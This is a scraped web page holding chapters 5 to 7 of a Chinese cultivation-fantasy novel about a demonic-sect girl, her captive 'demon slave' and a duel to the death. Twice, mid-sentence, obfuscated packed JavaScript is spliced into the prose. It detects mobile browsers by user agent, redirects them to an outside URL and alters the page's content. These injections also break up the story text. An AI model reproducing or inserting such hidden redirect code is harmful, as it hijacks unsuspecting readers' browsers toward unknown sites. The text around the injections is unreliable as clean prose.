宗门里的元婴修士多多少少都有些纵着凝露,不会计较她的失礼,若是仅仅因为她身后的赵离焱,那是不可能的。在归雪看来,凝露最好不要筑基,或者说此生都不应筑基,她暗叹一声,眼底情绪已是无影无踪。 凝露看着弱水仙子。 萧阙寒也在看着她,然后顺着她的视线极其敏锐地捕捉到了那一缕情绪,他挑了挑眉,目光重新转回了凝露身上,罕见地感到了一丝兴味。 如果他没有看错的话,那一缕情绪是……怜悯? 魔修的心肠冷硬如铁,哪来多余的怜悯。 萧阙寒忽然觉得留在魔门也不错,浑水求生是他擅长的,更何况他确实对这放言要让他做“魔奴”的红衣少女产生了一点点兴趣,足以抵消他想要杀人的念头。 只是现在他得不到凝露的关注了。 徐弱水站在祭台上方,神情从容而冷淡,瞳仁乌黑似浸在雪水中的两枚寒丸,湿漉漉的发贴合着脸颊、身躯,垂下来的宽袖上勾勒着精致的莲纹,可惜被血水污浊了。 如此倒使她更像是从血池里复生而来的一朵莲,皮肉灼灼,风骨依旧。 凝露从未见过这般好看的女子,她见过的美人没有八千也有八百,哪怕是她的魔奴也有着一张绝艳的美人面,但她心志坚定,不会轻易被其迷惑。 可能弱水仙子长了一张她做梦都想长成的脸。 可惜她无法拥有。 凝露收回了视线,打算从血池提走自己的战利品。 恰在这时,徐弱水的目光轻轻地瞥了过来,极为平淡的一眼,没有任何特殊的意味,但她站得太高了。 萧阙寒:“……” 还真是天差地别啊。 他真没想到这家伙也在这里,居然还一副这样的打扮,看来是真的听了那群老家伙们的话,准备自我奉献了。 真是可笑。 然而他自己也没好到哪里去。 凝露正思索着是现在给他打上魔奴印呢,还是马上就给他打上自己的魔奴印。 归雪长老也很惊奇,血池里竟然还落了一个沧海明珠,还是比较稀有的那种,生了一双碧绿色眼瞳,有点熟悉。 她一时半会儿也没想起来。 不过凝露每次来血池眼光都挺好的,挑中的魔奴不仅长的好看,天赋也很惊人,在她手里没多久 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她早就觊觎周晟的镇魂铃很久了,原本就想等周晟出宗门后偷偷埋伏他,然后杀人夺宝,可惜他一直不出门,即便外出任务也是跟随归雪长老左右。魔宗也不允许筑基期以上弟子私自残杀,以免浪费资源。 周晟目光阴鸷:“可以,你也要压上等价的法宝。” 凝露晃了晃自己的火焰手镯。 阎罗鬼面悬于半空翻转一圈,摄取了双方的灵力,对赌法宝的气息,然后飘至萧阙寒的面前。 凝露、周晟以及徐弱水同时望向了他。 萧阙寒轻嗤一声,觉得自己真是倒霉透顶了。他没有反抗,只是用沉郁的目光死死地盯着凝露。 尾翼带钩的锁链自虚无中极速而来,瞬间穿透了萧阙寒的肩骨,封锁了他四面八方的去路,然后带着他一整个消失不见。 凝露:“……他去哪儿了?” “为了防止他逃跑,阎罗鬼面把他关进了断生台里面的阴牢,据说这两件灵宝合起来连化神期修士都能顷刻镇压。”归雪缓缓道。 “不过,去见他倒是无碍的。” 5. 第 5 章 萧阙寒正在反思自己。 他为什么不直接从血池里杀穿出去,惹一个元婴修士还是惹几个元婴修士对他来说又没有什么区别,反正他的仇人已经一大堆了,何苦被关在阴牢里受罪。 滴滴答答的水声中夹杂着轻微的脚步声。 萧阙寒拧眉,他下意识认为会来阴牢看他的只有凝露,可这脚步声不像,它太重了,没有她该有的轻灵。 来人的面容掩在半明半暗,微湿的衣摆划过地面留下蜿蜒的水痕,她站在离出口不远的位置,就这样漠然地打量他。 “原来是你。”萧阙寒一下失了兴趣。 徐弱水向前转出一步,露出自己的面容,淡淡询问:“你怎么会在这里?” 萧阙寒:“无可奉告。” 他一向不喜此人,平日也没什么交集,不过是修为相差无几,光是对方的名声都听到过不少。 什么水中玉,天上仙,他最厌烦这类沽名钓誉的仙道修士。 徐弱水眸光冰冷,并未对他的出言不逊有任何的反应。 她不认为萧阙寒是自愿被抓来的。 毕竟此人在西陵的行事是出了名的狠辣,一出手就是杀招,若不是修的正道,足以称得上一句魔修胚子,将自己陷入此等境地不像是他的作风。 “你倒是落魄。”徐弱水意味不明。 萧阙寒冷笑:“我一直都很落魄,比不得你。我对你们宗门的任务也没什么兴趣,别来烦我。” 徐弱水闻言毫不犹豫地走了出去,即将踏出阴牢时,她回头道:“彼此,我亦不过侥幸。” 萧阙寒沉默以对。 此刻凝露正百无聊赖地甩着赤幽,踩在断生台上思考着自己待会儿该如何对待阴牢里面的那个男人。 弱水仙子和他认识。 她是该待他坏一点,还是再坏一点呢。 徐弱水从一道灵气漩涡里出来了,她一抬头,那穿着绚烂红衣的姑娘就直直撞入了她的眼帘。 凝露绕着她转了一圈,正色道:“阴牢里面煞气浓重,你进去了好久,没出什么事吧。” 好似红绸裹缠着白玉。 徐弱水猝不及防地让她近了身,想退后几步却发现无处可退,只好避开了自己的视线,“我没事,多谢凝露姑娘帮我。” 凝露大方道:“没关系。” 徐弱水不知道该跟她说些什么,她觉得凝露好像对她过于热切了,令她有些许不适应,若是往常那般模样,应当无人敢与她凑近说话。 弱水仙子避她如蛇蝎。 凝露垂头丧气了起来,心里安慰自己,毕竟她们现在都身处魔门,冷淡一点,谨慎一点,很正常。 哪怕她只是想与弱水结交。 徐弱水:“……可以。” 她注意到凝露之前在祭台上就盯了她很久。 “太好了,那我就叫你弱水了。”凝露甜蜜地唤着她的名字,直接搂住了她的手臂,她仰起头发现…… 为什么弱水仙子比自己高了大半个头??? 徐弱水抿了抿唇,不动声色地从凝露怀里抽出了自己僵硬的胳膊,衣服的料子很轻薄,肌肤上残留着的温热软乎的触感令她感到更不自在了。 凝露还兀自在原地怀疑起自己的身高,完全没有察觉到发生了什么。等她回过神来,已经不自觉站得离徐弱水远了一点,这样会显得她更高挑。 徐弱水莫名松了一口气。 “对了弱水,你和里面的人有什么关系么?”凝露装作不经意地问。 这个很好回答。 徐弱水道:“一面之缘罢了,并无甚关系。” 凝露点了点头,然后脚步轻快地走进了阴牢。 徐弱水看着她飘扬的裙摆一点点被阴影吞没,很快就消失成了一个看不见的小点,她忽然明白了什么,旋即转身离去。 少女的喜好来去如风,或许她不应过多在意,何况如今她已是弱水。 * 萧阙寒没想到人这么快又回来了,正欲不耐地刺她一句,然后他耳朵灵敏地听到了由远及近传来的轻巧步伐。 这一回来的是正主。 “我还以为你要等比试完才想起要来看我这个廉价的魔奴呢。”萧阙寒似笑非笑。 他的嗓音依旧散漫,尾调微扬,有一股什么都没有发生过的平静感,若不是凝露偶尔能听见他压抑在口中却禁不住溢出的痛哼。 “所以我这就来了呀。”凝露轻声回他,用灵火点燃了壁上悬挂着的火烛,然后举着火烛一步步靠近。 他看起来狼狈极了。 整个人被锁链捆在墙角,双手无力地垂落在身旁,浑身上下的衣裳都湿透了,黑色的布料紧贴着肌肉,沿着他的呼吸而上下起伏。 凝露撩开他的发丝,细细地观察他。 她的面庞凑得极近,湿热的吐息都喷洒在了咫尺之间,就连那双清透的琥珀色瞳孔都在昏暗的环境中放大了许多。 她的眼睛水汪汪的,一副很是担忧的模样。 萧阙寒不喜有人靠他这么近,眉头紧皱了起来,尤其是他的身体竟然莫名钻出了一股灼人的热意。 “太好了,你的脸没毁。”凝露长吁一口气,放下了心。她最担忧的就是这个,要是脸毁了,她就一点兴趣都没了。 萧阙寒猛地侧脸,额角青筋直跳,看起来是真的有点愤怒了:“你是真不怕我杀你啊!” 他只是被捆住了,不是动弹不得。 凝露讶异:“你要是想杀的话,不是早就杀了。” 她顿了顿,忽然道:“你现在应该不想杀我,或者说杀不了我。” 萧阙寒:“……” 他觉得自己真是疯了才会在这里和她讨论杀不杀这个事。 微弱的火光暴露出了他额头上一滴滴流下来的冷汗。 修士体表洁净,一般很少会出现流汗的现象,凝露也从来没见过这般稀奇的事,眼神顺着那颗晶莹的汗珠直勾勾地往下瞧,掠过从散乱的衣襟里泄露出来的饱满胸肌,沿着劲瘦窄缩的腰线往下……然后一只骨节修长的手伸了出来,强撑着掩上了自己的衣裳,裹得严严实实。 随着这一动作,锁骨处的伤口就开始源源不断地滚落鲜血,流淌在他白玉无瑕的胸膛上,颇为惊心动魄。 很快凝露就什么也看不到了。 萧阙寒神情倦怠,懒得说话,一言不发地凝视着她。 凝露嗖得一下站了起来,哼了一声:“不给看就不给看,以后你求我我都不看。” 当她没见过一样,她见过的多了去了。 萧阙寒扯了扯嘴角,当做自己什么也没听见,唯有山峦般连绵起伏的胸膛透露出他隐忍的情绪。 火烛噼里啪啦在独自燃烧。 过了一会,他忽然问:“三日之后,你有把握胜吗?” 凝露诚实道:“说实话,没有。不过你放心,就算我输了,我可能还会被保下一命,不过你就不行了,周晟的条件是要你死。” 断生魔君必不会放过他。 萧阙寒低低地笑了,他觉得凝露简直是上天专门派下来折磨他的,每当他觉得凝露有趣的时候,她就能巧妙地困他于绝境,不过他有生之年确实没遇见过凝露这般有趣的人了。 “你想要什么?” 凝露眼中划过一缕亮光:“我要你操控镇魂铃的法门。” 若说他是靠美色让周晟镇住一瞬,凝露才不信呢,只有一种可能,他强行操控了属于周晟的法宝。 他们这些天之骄子总有些 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萧阙寒坐在昏黑的角落里,她遗留下的烛火照亮了他的眉眼,从高挺的鼻到微勾的唇都仿若天地恩赐,衬得他周身的阴影如同狰狞的庞然巨兽。 他面含笑意,唇齿间的话语却犹带血腥气:“你可一定要赢,不然我做鬼都不会放过你。” 凝露怔愣了一瞬,目光落到了他的身上,她发现这个人还挺能忍的,身上这么多伤口都没怎么处理,于是从自己的储物袋里倒出了一堆大大小小的瓷瓶,拔开药塞就将这些药丸通通强行喂进了他的嘴里,指尖陷入柔软的唇瓣,挑来挑去地拨动。 她蹙着眉,细声细气地说:“你先管好你自己吧,血都流了满地,不要我们还没开始比,你就先成鬼了。” 这可是她新鲜出炉的魔奴啊,还没有玩腻的那种。 她好似不懂什么是边界。 萧阙寒忍了又忍,忍了又忍,还是忍不住一口咬上了她的指尖,力道却不重,只稍稍用力,狠狠厮磨了几下。 他眼神幽暗:“你还不走。” 凝露被吓了一跳。 她下意识就甩了他一个巴掌,啪的一声很是响亮,清晰的五根手指印在他白皙的脸颊上缓缓浮现。 浮尘飘动。 萧阙寒偏了偏头,乌发垂落,冰凉湿冷的发尾从她的手背上舔舐而过,碧绿的眼瞳犹如浮在林中的阴冷鬼火,连带着他的神情都仿佛隐匿在浓重夜色下看不真切,莫名给人心惊肉跳之感。 指尖酥酥麻麻,触感尤在。 凝露揉搓了下手指,连续给自己施展了好几遍洁尘术,方才理直气壮地说:“你自找的,可不怪我!” 角落里的人身形动了动,锁链交错的声音哗哗作响,差点以为他要挣脱出去了,然而过了没多久,动静又逐渐平息。 凝露警惕地盯着他。 萧阙寒却只是慢条斯理地将自己散落的发束好,哪怕伤口撕裂也全然不在乎,视线落在了她泛红的指尖一瞬,他弯起了唇,眼底却毫无笑意。 “嗯,怪我。” 他应该直接咬断她的手指。 凝露咬了咬牙,本想再给他一鞭子,思索过后还是算了,不如回去修炼,准备三日后的决斗,等他彻底成了自己的魔奴,她再好好教训他一顿。 “你给我等着。”她落下了一句狠话。 凝露脚步迅疾地离开了,不管身后人是什么反应。 烛火失去了灵力的支撑也随之熄灭,残留的红蜡缓缓凝结,成了绽开在地面的一朵朵血色霜花,浓重昏暗的阴影里有人缓缓抬头,唇畔含笑,吐出的话语却是凶戾之气尽显。 “……第一次,我记住了。” 被栓起来的狗哪里不会咬人呢。 6. 第 6 章 阴牢外已是月上中天。 乌压压树梢上覆着的薄雪也凝成了数不清的冰晶,烟雾般的月色流淌其间,分不清雪与月谁欲白。 忽而枝丫间隐有振翅声。 凝露足尖轻点,纵身而起,指尖捉住了一只向她扑扇翅膀飞来的雪白纸鹤,纸鹤落入她手便自动化为了莹莹辉光。 “归雪长老唤我速归,勿忧。 ——徐弱水。” 辉光闪烁着消亡,留下疏冷而又遒劲有力的雪色字痕。 凝露颇感意外,她出来时天色已晚,心里明白弱水仙子不会等她,她们之间的交情说白了也就是萍水相逢一过客,没有期冀也就不会有失落。 只是没想到她竟会留下一个纸鹤表明去向。 这在魔道修士看来是不可思议的。 要是凝露以往的同门,一个个都恨不得把自己的行踪彻底隐藏起来,即便是身边人也不会轻易告诉,因为顺着灵痕追来的不仅仅是亲友,还有可能是冤魂不散的仇敌。 纸鹤留书一看就是仙道的术法。 凝露起了点促狭的心思,她琢磨了下这道术法的构造,生涩地用自己的灵力构造出了一只歪歪扭扭的纸鹤。 她看了看,不是很满意,又重新试了几遍。 很快一只流光溢彩的雪白纸鹤出现在了她的手中,然而她的灵力以煞气为主,无论她怎样催动,仙术都没办法成型。 凝露索性就用自己的煞气给纸鹤点了睛。 纸鹤跌跌撞撞地飞起,撞碎一地冰晶,循着半空中弱水残留的雪色灵痕追踪而去,很快就不见了踪影。 它所过之处皆留下了淡淡红痕。 凝露心想太引人注目了,难怪大部分正道修士在苍玄魔土都很容易吃亏,他们似乎没有隐匿行踪的意识。 魔修通常不会使用这种弊端明显的术法。不过认人倒是挺方便,所以才会在北三洲流行吧,要是弱水看见了自己用出的纸鹤留书,那一定很有意思。 也不知道她能不能认出自己呢。 凝露抬手抹去了纸鹤留下的灵痕,愉快地踏着满地残雪回到了寝殿,暖融融的光从窗棂里透露出来,等候着风雪夜归人。 * 归雪长老不喜风雪境。 她闭关修行的地方位于苦渡魔门南部的一处大型山谷,整座山谷被一圈浩浩汤汤的灵水脉环绕,水灵之气浓郁,常年生大雾。 看起来很唯美的样子。 实则遍布杀机,光是水中凶兽便是数不胜数,更别提无处不在的灰白大雾,与其说是雾倒不如说是挨挨挤挤的水中冤魂,有妖兽的,也有人修的,都是擅闯入谷,强行渡江的下场。 徐弱水从袖中甩出月尘绫,皎洁的白绫天女散花般落下,她踏绫渡江而过的瞬间,宛若不染尘埃的月下仙人,飘飘然乘风而去。 大雾也硬生生地退避开来,唯恐惊扰了天人,或者说没有一个冤魂敢轻易挑衅于她。 她成功渡过了江。 归雪长老却面色平平,一改之前对她颇为看重的模样,她负手立于高空,身上威压重重,神色难以揣测。 徐弱水心知果然。 归雪长老没有她表现出来的那样好说话,相反她一直在试探,表面上将自己纳入了她的羽翼,实则犹如落入老虎爪中的猎物,是生是死全在她的一念之间。 归雪沉声道:“你究竟是何人。” 她俯视着这所谓的新弟子,心想此人能不费吹灰之力渡江,身上必携有重宝。 仙道当真会放弃这样好的一个苗子? 她并未带徐弱水回山谷,而是压着她在山谷外来来回回地盘问,甚至已经动了搜魂的心思。 徐弱水亦不能抵抗,只全力护住自己的心神,她深知以目前自己显露出来的修为应无法抗住来自元婴修士的审问。 只能真真假假,方有蒙蔽之机。 于是她的说辞开始并未有任何的改变,在经历了几轮盘问后,她的脸上恰时露出了些许恍惚之色,口中说出的话语也轻微混乱了起来,大概只有一些重点是不变的。 至于渡江之事。 徐弱水思忖瞬息,毫不犹豫地取下了自己右手腕上的一只莲纹清玉镯,镯子脱离手腕的瞬间,一股极为阴寒的灵力顿时从她的身上爆发。 归雪长老大骇,迅速避开。 如此阴寒的灵力不像是来源于水灵之气的变化,而是来源于一股极为幽冷、不详的气息,仿佛连灵魂都能被之彻底抿灭。 徐弱水的唇色略微发白,清黑的瞳孔也蒙上了一层雾蒙蒙的白翳,墨发凌乱披散在身后竟有了些许病弱之态,唯有脊骨被裹在单薄的衣裳里从未有过弯折。 她轻声道:“如您所见,我生来便携有一缕源于鬼道的不详气息,仙门已是容不下我,只能来魔门寻求一线生机。” 归雪竭力维持自己面上的平静。 鬼道传承已失落千年。 这缕气息压根不是什么所谓的重宝,相反对徐弱水而言完全是一道顶级的催命符,甚至连她身边的人也讨不到好,人人惧而避之。 那手镯算是个不错的压制物,难怪一开始她会去仙门,只有传承已久的仙门尚有镇压封印之术,而魔道流传下来的诸如控魂、炼魂之类的秘术也是来源于鬼道失落之地。 归雪斟酌道:“你把手镯带上吧。” 她已然信了徐弱水的说法,待那股幽冷的气息消失后便解除了山谷的禁制,给她安排了一座灵气还算充裕的洞府。 临走前,她将徐弱水收为了记名弟子。 归雪长老其实颇为遗憾,世人都以为她极其宠爱自己的弟子,实际上那些人于她而言不过炉鼎,无论是修炼用还是采补用都不值一提,疼宠几分又有何妨。 不过徐弱水就另当别论了。 她的体质不适合做归雪修炼用的炉鼎,把她放出去又恐生出事端,倒不如放在自己眼皮子底下看着,便于掌控。 魔道修士确实不好相与。 徐弱水冷淡地抿着唇,待归雪长老彻底离去后才缓缓盘坐了下来,引动手镯的气息重新镇压自己体内暴动的异火。 灵魂被无尽烧灼又好似被瞬间冰封。 她闭上眼睛,极力忍耐着来自神魂深处一刻不停的痛苦。 为了让归雪取信于她,她只能强行唤醒沉睡在灵魂深处的寒魄冥火,但宗门长老也多次告诫她绝不能让它完全苏醒。 寒魄冥火以烧灼万物灵魂为使命,它也确实来源于失落的鬼道传承,可这世上早已没有可以完全掌控它的方法。 徐弱水却与它相伴相生。 或许是一刹那,或许是一刻钟,她垂下眼眸看见了自己颤抖发白的指尖,应该是痛的吧,如果忍耐也是一种痛苦。 就在这时,她察觉到了有东西撞到了她洞府外的禁制。 徐弱水将神识探了出去,发现是一只摔得东倒西歪的纸鹤,流光溢彩的翅膀在地里滚了一遭染上了尘,身上明显还有几个被划破刮烂的破损。 它明显很生气地飞了起来,“笃笃笃”敲门一样敲着门口的禁制。 徐弱水一顿,她在这里并没有会给她纸鹤留书的人,她的宗门也不可能隔着几个大洲传讯予她。 可她还是把它放了进来。 纸鹤倏然抬头,神气活现地飞到了她的手上,一双红玉似的小眼睛正愤怒地盯着她,然后狠狠啄了她一口。 这什么鬼地方,害它躲躲藏藏、一刻不敢停地飞这么远。 徐弱水再次辨认了它身上的气息,不是自己所熟悉之人,但这绕着她不断飞的样子倒是莫名的眼熟。 她心中隐隐有了猜测。 纸鹤振翅而飞,身形顷刻间散落成了满天的星光,如同烟花般绚烂的红色星点汇聚成了一句璀璨的话。 “下次记得不要轻易留下自己的灵痕哦,否则你还会被我追踪到的!” 后面没有署名。 徐弱水认真又看了一遍,发现还是有的,她留下了一道不起眼的利爪划痕,大概是用来表明威胁的。 原来是凝露姑娘啊。 徐弱水的眼眸也好似被那一瞬的花火点燃,唇边的笑意清浅,犹如幽昙夜绽,晃然一现。 昙花绽放的时候,连平静湖面都要为之动容,哪怕湖面上泛起的只是一圈微不足道的细小涟漪。 徐弱水已然看见了那道涟漪。 …… 纸鹤化煞回归。 凝露这才得知“纸鹤留书” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15716981|173763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 原来是流传于仙道年轻弟子之间的术法,常以此来显露自己与对方的亲近,留下的灵痕也常常被当做一种辨别身份的乐趣。 算不上正式的通讯手段。 徐弱水以往也没怎么用过,她只是觉得应该给凝露留个表明自己身份的东西,自然而然地想到了这个术法。 没有什么能比灵痕更能代表一个人了。 然而魔门追踪的术法极多,想来凝露姑娘的担忧也并非空穴来风,徐弱水还是秉着该有的谨慎将她的告诫记入了心底,让纸鹤帮忙带回了一句话。 “多谢凝露姑娘提醒,弱水记住了。” 纸鹤绘声绘色地模仿着说话人的语气,一字不漏地复述了出来,说完头还高高昂着,流露出骄傲的神气。 它还不愿意就此消散,不满地在凝露手心蹦来蹦去。 云观哑然失笑:“这是……纸鹤留书?”她没想到自己还能在凝露这里看到这样独具仙门特色的术法。 真是恍然如梦。 “还挺像你的,颇有意思。”云观点了点纸鹤,推了它一个趔趄。 纸鹤委屈地顺势倒了下去。 凝露轻咳了一声,连忙拍散纸鹤,收回了自己的煞气,她才不承认这种小东西竟然和自己相像呢。 云观笑而不语,转头去做自己的事了。 她不问凝露这仙门术法从何而来,也不问与纸鹤相关之事,只给凝露准备了大堆的疗伤丹药,防御法器,各种出其不意的暗器,甚至还有绝灵散之类的毒药。 然后她将周晟的底细扒了个底朝天,把他浑身上下的弱点都分析了出来,摆在了凝露的面前。 凝露目瞪口呆。 云观笑眯眯道:“咱们凝凝只有筑基初期,他一个筑基后期的不要脸来生死斗,总要给他一点敬意吧,这些暗器、毒药通通给他用上,再让他尝尝法器自爆的威力,弄他个半身不遂不成问题。” 凝露眼睛越来越亮。 “至于那镇魂铃……”云观敲了敲桌子,陷入沉思,“这倒是个颇为麻烦的神魂类法宝,得想个法子封它一瞬。” 否则神魂被控,就是生死一线。 “如果有反制类手段就好了,不仅能化险为夷,还可抢夺先机。”凝露托腮,指尖在骗来的玉简上划来划去,“譬如神魂类秘术,又或者……鬼道秘术。” 说完,她抬头眼巴巴地望着云观。 云观点了点她的额头,语气好笑:“凝凝,神魂类秘术你自己修的还不够多么,至于鬼道秘术,那可是连元婴真君都要为之疯狂的,况且要是有了鬼道秘术,还要那个破铃铛做甚么!” 再强大的神魂秘术也不能顷刻间令人飞灰湮灭,顶多重创修士的神魂,可鬼道秘术不仅可以,它甚至还能玩弄生死,颠倒轮回。 要知道苍玄界是没有投胎转世这一说的,无论是修士还是凡人,身死如灯灭,花开一瞬即是永恒。 前尘散尽。 来世花也不过相似一朵。 凝露很清楚这些修真界的常识,正如云观所言,她或许修炼资质不强,可神魂秘术方面,她的天赋却是一骑绝尘。 如果镇魂铃只是一件普通的神魂类法宝,那么它对她而言其实不过是锦上添花,可有可无。 可如果它不是呢。 镇魂铃在周晟手上籍籍无名,可在两百年以后,它的威名响彻了整个苍玄界——鲲鹏道,以血祭之,万灵浮散。 鬼道至宝——祭仙铃。 所以自从凝露亲眼见到了那一幕,强烈的直觉就告诉她必须阻止,周晟还不能死,或者说还不到他可以去死的时候,她不能让镇魂铃回归无主的状态。 尤其是萧阙寒已经看见了它。 凝露胸腔里的心扑通扑通地跳动,她想都没想就用花把周晟砸进了血池里,让他勉强捡了条狗命。 如今这条命是该还给她了吧。 凝露仰起头,笑着撒娇道:“秘术这东西不嫌多嘛,周晟那个铃铛我还是挺喜欢的,所以让他半身不遂可不够。” 她要周晟灰飞烟灭。 凝露不知道祭仙铃是如何解封的,不过没关系,玉简已经在她手里了,它未来的主人也将成为她的魔奴,那么祭仙铃也必须归属于她。 7. 第 7 章 三日之期已至。 铁锈色的断生台骤然抬升,好似一柄血腥的铡刀悬立于天,刀尖寒芒微闪,锋利的锯齿间依稀可见被切得细碎的臊子。 凌冽的杀意无孔不入,连带着前来观战的弟子都浑身打起了寒颤。断生魔君已然亲临,她没露面,犹如实质的威压却已赫然降下,宛若凌迟。 周晟冷汗直流,强撑着立于一处隐蔽的尖刃之上,心神专注地分辨着来自四面八方的不同动静。 他已经等了快一个时辰了。 凝露却似乎还没到场。 “难不成是畏战先怯……不,不对,如果她不来,断生魔君早就下场了,她一定就在这里,说不定和我一样埋伏在哪个角落。”他喃喃自语,眼底的红血丝越来越多,“该死的,她究竟在哪里?” 他不安地站起身,觉得自己埋伏的地方已成了漏风之墙,可他不能先出去,一旦站在场中就等同于暴露自己的后背。 周晟正在犹豫。 等待是最耗费心神的。 凝露踏着他的影子,悄然行至背后,冷冷地盯着他看,影子转动,她的步伐也随之变幻,近乎如影随形。 若有若无的窥伺感无处不在,可场上该出现的另一人却并无一丝一毫的气息泄露。 周晟从未如此被动,心烦意乱中脚步不由向前,紧接着他心中一横,深知不能再这样下去了,足尖顺势微转,纵身就掠向了另一处尖刃。 凝露唇角微扬,身形也动了,然而这次是一个与他完全相反的动作。 影子被瞬间拉扯。 周晟的脑子如被重击,身体失去了掌控,瞬间向下坠去,迎面就是互相交错的利刃,直至四肢腹部被彻底贯穿,剧痛迫使他清醒,他终于看见了。 凝露轻飘飘地落在了尖端上,转身朝他微微一笑,再度消失。 “秋凝露!”他怒吼出声。 该死的敛息术,该死的离影控魂,他竟然会被蒙蔽至此。 “不错的手段,同时施展两道神魂秘术,一道蒙蔽修士五感,一道掠影控魂,再加上敛息术,耐性也不差,若是她也为筑基后期,估计周晟能当场受重伤。”归雪颇有兴致地点评。 “她实力太弱,所以才要耗尽心神操纵她的对手寻找攻击的时机,灵气应当都耗得差不多了,若是没有后续手段,生死难料。”断生魔君冷冰冰地说道,“更何况周晟已经看出来了,结局不会有任何悬念。” 归雪白了她一眼:“我知你不喜凝露,不就是你那个宝贝徒弟做过她的魔奴么。我倒觉得此次尚有悬念,说不定凝露能给我们一个大惊喜呢。” 断生拭剑的手一顿,掀起眼帘:“我说的是事实,弱就是弱,何须理由。” 归雪笑了笑,视线掠过跪坐在断生魔君身后静默无言的夜星。 她身穿白色衣袍,袖子扎于黑色护腕,胸前狰狞的墨龙鳞甲缠绕过她的整个上半身,好似一头浅眠的巨兽。 夜星低眉垂眼,横剑在膝,对她们的谈话没有任何反应,高高束起的乌发却是淋漓尽致地描绘出了她眉眼中的锋利。 金丹初期修为,气势惊人,不愧是断生魔君百年来磨出的最好的一柄剑,如今杀戮道的弟子仅剩她一人存活。 归雪别开眼,叹了一口气:“凝露心性不差,就是修行慢了些,她在神魂秘术上的天赋倒是不错,藏书阁里的术法也基本都钻研透了……” 她见猎心喜。 可惜凝露是火系灵力,实在与她无缘。 断生魔君冷笑,眼似刀刮:“归雪,你的慈悲毫无意义。你我都知晓,她是赵离焱的血脉后裔,而她这一生注定了绝无可能达到元婴之境。” 所以这场决斗胜负未定又如何,结局不会有任何改变。 …… 凝露正在竭尽全力地战斗。 周晟身为筑基后期的修士,能动用的灵力比她多太多了,他身上伤势的恢复速度也极快,一切都在她的意料之中。 可这还不够。 她需要周晟更加疯狂,更加狂妄。 凝露时不时地显露身形,丢下几个自爆的法器骚扰他一拨,炸不死他也能让他疲于应对,同样的周晟也越来越愤怒了。 他吃了一堑又一堑,终于明白过于谨慎的对战方式于他是不利的,作为弱势的一方,凝露可以比他还要谨慎。 周晟彻底放开了,疯狂地追着凝露咬,他发誓绝不给凝露任何躲藏起来的机会,神识的探查能力也被他运用到极致,他甚至动用了镇魂铃防止凝露突如其来的神魂攻击。 敛息术废了。 凝露冷静地思索,除此之外还有部分神魂秘术无法施展,以她目前状态极易受反噬,更重要的是封印状态下的祭仙铃很不讲道理,鬼道天然压制神魂秘术。 她的灵气也快枯竭了,即便有丹药的补充,她也不能全部用完,得拿来准备最后一击。 喉咙里的血腥气越来越重,凝露能感受到自己肺腑挛缩的痛苦,耳边响彻的是自己不堪重负的喘息,深深映入眼帘的是混乱重叠的倒影。 凝露用力咳了一声,鲜血顺着散落的发丝蜿蜒流淌,鲜红的赪玉珠裹挟着灵气在她的指尖弹出,激烈的碰撞下碎成了飞扬的齑粉。 周晟与她之间的距离却越来越近。 他俨然成了血人。 其实云观说的没错,生死斗让周晟半身不遂,打成平局是最好的结果,可凝露不接受,哪怕一个处于生死间极尽疯狂的修士所爆发的力量远远超过她的极限。 可她仍要一拼。 筑基后期又如何,未尝不可一斩,此战当弘扬她名。 凝露咬着牙,恶狠狠地想。 周晟是一个历经了杀伐的魔修,面对敌人足够谨慎,可一旦敌人处于绝对的弱势,他必压不住自己的狂妄本性。 消磨他的谨慎便是消磨他的锐气。 “所以他笃定我必死的时候,就是我拼死反击的时刻,唯一一次逆转生死的机会,有且仅有一次的一击毙命。” 凝露步伐踉跄,好似已经到了强弩之末。 周晟转瞬而至。 他阴恻恻道:“你终于逃不动了,现在是不是该轮到我了。” “给我受死!” 他厉喝一声,瞬间掐诀,纷扬的血雨彻底激发了残存冤魂的凶性,腥烈的风从凝露的背后尖啸而来。 凝露不再躲避,抬手挥出了一鞭,鞭影所过之处火光蔓延。 血雨燃烧着下坠却是后继无力。 周晟笑了:“不自量力。” 他毫不犹豫地攥住了赤幽绵软的鞭尾,就要用力一扯,打算就此把它彻底折断,好看清凝露脸上的恐惧。 然而—— 极致的恐惧转瞬间移到了他的脸上。 “镇魂铃……不……” “来不及了啊,该死的是你才对。”凝露注视着他肝胆欲裂的神情,唇角缓缓掀开,露出了森白的微笑,与此同时她的手臂骤然发力,浮起的青筋激烈跳动,洇出刺目的鲜红,她不管不顾,凌空猛甩。 赤幽瞬间爆燃,如同炼狱挥来的赤红之鞭。 火雨迸射,岩浆流淌,飞溅出来的只剩下了血肉模糊的残肢断臂,很快连这些残存的血肉也在刹那间化为乌有。 仅此一击,摧山坼地。 …… “周晟怕是得死无葬身之地了吧。”归雪长老啧啧直叹。 断生魔君蓦地笑了,眼里寒芒闪烁,手中的剑也在嗡嗡厉鸣,她偏头问夜星:“此子,你能斩否?” 她指的是凝露。 归雪长老挑了挑眉,一副看热闹不嫌事大的样子:“断生,夜星和凝露可是年少的情谊,你怎忍心让她们刀剑相向,互视对方为生死仇敌。” 断生魔君没有理她,只直勾勾地盯着自己的徒弟,一字一句地说:“若有挂碍心,何来杀戮道。” 魔门天骄皆是厮杀拼搏而来,唯有至强者才配脱颖而出,从未例外。 凝露已然有了资格。 夜星握剑的手紧了一瞬,她闭上眼睛,再度睁开,那双眼眸已同她面前的断生魔君一样冷酷。 “谨师尊令。” 断生魔君和归雪长老相继离席了,对她们而言,此局胜负已分—— 周晟必死无疑。 